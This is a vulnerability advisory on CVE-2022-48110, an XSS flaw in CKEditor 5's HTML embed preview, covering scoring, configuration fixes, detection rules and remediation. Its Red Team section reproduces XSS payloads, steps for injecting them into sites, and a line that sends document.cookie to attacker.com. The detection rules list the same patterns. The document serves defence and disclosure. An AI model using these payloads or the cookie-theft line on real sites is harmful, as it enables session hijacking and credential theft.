CVE-2022-48110

Executive Summary

CVE-2022-48110 describes a Cross-Site Scripting (XSS) vulnerability in CKEditor 5 version 35.4.0, specifically within the Full Featured CKEditor5 widget. The vulnerability arises because the editor fails to sanitize user-provided HTML content, allowing an attacker to inject arbitrary JavaScript via the HTML embed feature. The vendor (CKSource) disputes this as a vulnerability, stating that security is the responsibility of the integrator and that safe defaults (e.g., config.htmlEmbed.showPreviews = false) are provided. However, the exploit is publicly available, and the risk is real if the editor is configured with previews enabled or if user input is not properly sanitized.

Supply Chain & Package Security

CKEditor 5 is distributed as an npm package (@ckeditor/ckeditor5-html-embed). Integrators using this package must ensure they are using the latest version and have applied the recommended security configurations. The vulnerability is not in the package code itself but in the default configuration that allows HTML previews. Supply chain risk is low, but integrators should audit their usage of the HTML embed feature.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must view crafted content)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. Exploitation requires user interaction, but the impact includes cookie theft and session hijacking.

Deep Dive & Mechanics

The vulnerability resides in the HTML embed feature of CKEditor 5. When config.htmlEmbed.showPreviews is set to true (or left at default in some configurations), the editor renders user-supplied HTML content in a preview iframe. The editor does not sanitize or escape <script> tags or event handlers like onerror, onload, or src="javascript:...". An attacker can inject a payload such as:

<div class="raw-html-embed">
    <script>alert(456)</script>
</div>

When a victim views the content, the script executes in the context of the CKEditor instance, allowing the attacker to steal cookies, perform actions on behalf of the user, or deface the page.

The vendor's documentation explicitly states: "The HTML embed feature does not currently execute code in <script> tags. However, it will execute code in the on* and src="javascript:..." attributes." This means that while <script> tags are blocked, other vectors like <img src=x onerror=alert(1)> or <iframe src="javascript:alert(1)"> may still work.

Vulnerable vs. Patched Code

Vulnerable Configuration (CKEditor 5 35.4.0):

ClassicEditor
    .create( document.querySelector( '#editor' ), {
        // ...
        htmlEmbed: {
            showPreviews: true // or not set, default may be true in some builds
        }
    } )
    .then( editor => {
        console.log( 'Editor was initialized', editor );
    } )
    .catch( error => {
        console.error( error.stack );
    } );

Patched Configuration (Recommended):

ClassicEditor
    .create( document.querySelector( '#editor' ), {
        // ...
        htmlEmbed: {
            showPreviews: false // Disable previews to prevent XSS
        }
    } )
    .then( editor => {
        console.log( 'Editor was initialized', editor );
    } )
    .catch( error => {
        console.error( error.stack );
    } );

Additionally, integrators should sanitize all user input server-side before rendering, using a library like DOMPurify.

Exploitation & Lab Setup

Red Team

Exploit Title: CKEditor 5 35.4.0 - Cross-Site Scripting (XSS)
Date: February 09, 2023
Exploit Author: Manish Pathak
Vendor Homepage: https://cksource.com/
Software Link: https://ckeditor.com/ckeditor-5/download/
Version: 35.4.0
Tested on: Linux / Web
CVE: CVE-2022-48110

Description: CKSource CKEditor5 35.4.0 was discovered to contain a cross-site scripting (XSS) vulnerability via Full Featured CKEditor5 Widget as the editor fails to sanitize user provided data. An attacker can execute arbitrary script in the browser in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Payload:

<div class="raw-html-embed">
    <script>alert(456)</script>
</div>

Usage:

1. Identify a website using CKEditor 5 with the HTML embed feature enabled and showPreviews set to true.
2. Inject the payload into a field that uses the editor (e.g., a comment, post, or page content).
3. When an administrator or victim views the content, the script executes.
4. For cookie theft, replace alert(456) with document.location='https://attacker.com/steal?cookie='+document.cookie.

Alternative Payloads (since <script> may be blocked):

<img src=x onerror=alert(1)>
<iframe src="javascript:alert(1)">

Blue Team

Detection:

• Monitor for unusual HTML content in CKEditor fields, especially <script>, <iframe>, and event handlers.
• Use Content Security Policy (CSP) headers to restrict script execution.
• Enable config.htmlEmbed.showPreviews = false to disable previews.
• Sanitize all user input server-side with DOMPurify or similar.

Hunting:

• Search logs for payload patterns like <script>, onerror=, onload=, src="javascript:.
• Review CKEditor configuration files for showPreviews: true.
• Check for recent changes to editor content that include HTML embed elements.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to attacker-controlled domains containing document.cookie in the URL.
• File: Presence of <script>, <iframe>, or event handler attributes in CKEditor content stored in the database.
• Behavior: Unexpected redirects or pop-ups when viewing editor content.
• Logs: JavaScript errors or CSP violation reports related to inline script execution.

Detection Engineering

YARA Rule

rule cve_2022_48110_ckeditor_xss {
    meta:
        description = "Detects XSS payloads targeting CKEditor 5 HTML embed feature"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2022-48110"
    strings:
        $payload1 = "<script>" ascii wide nocase
        $payload2 = "onerror=" ascii wide nocase
        $payload3 = "onload=" ascii wide nocase
        $payload4 = "src=\"javascript:" ascii wide nocase
        $payload5 = "raw-html-embed" ascii wide nocase
    condition:
        any of ($payload*) and #payload5 > 0
}

Sigma Rule

title: CKEditor 5 XSS via HTML Embed
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects XSS payloads in CKEditor 5 HTML embed content
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - '<script>'
            - 'onerror='
            - 'onload='
            - 'src="javascript:'
            - 'raw-html-embed'
    condition: selection
falsepositives:
    - Legitimate use of HTML embed with safe content
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2022-48110 CKEditor 5 XSS Payload"; flow:to_server,established; content:"raw-html-embed"; http_client_body; content:"<script>"; distance:0; within:100; sid:1000001; rev:1;)

Remediation & Mitigation

1. Disable HTML Previews: Set config.htmlEmbed.showPreviews = false in CKEditor configuration.
2. Sanitize Input: Use DOMPurify or similar library to sanitize all user input before rendering.
3. Content Security Policy: Implement CSP headers to block inline scripts and restrict script sources.
4. Update CKEditor: Upgrade to the latest version (if available) that may include additional security measures.
5. Educate Integrators: Ensure developers understand the security implications of enabling HTML embed previews.
6. Monitor Logs: Watch for XSS payload patterns in web server logs and database content.

Valters IT
Securing Digital Frontiers

{/* [Security Hash: D69243C0EB2ECAF31784DB2B] */}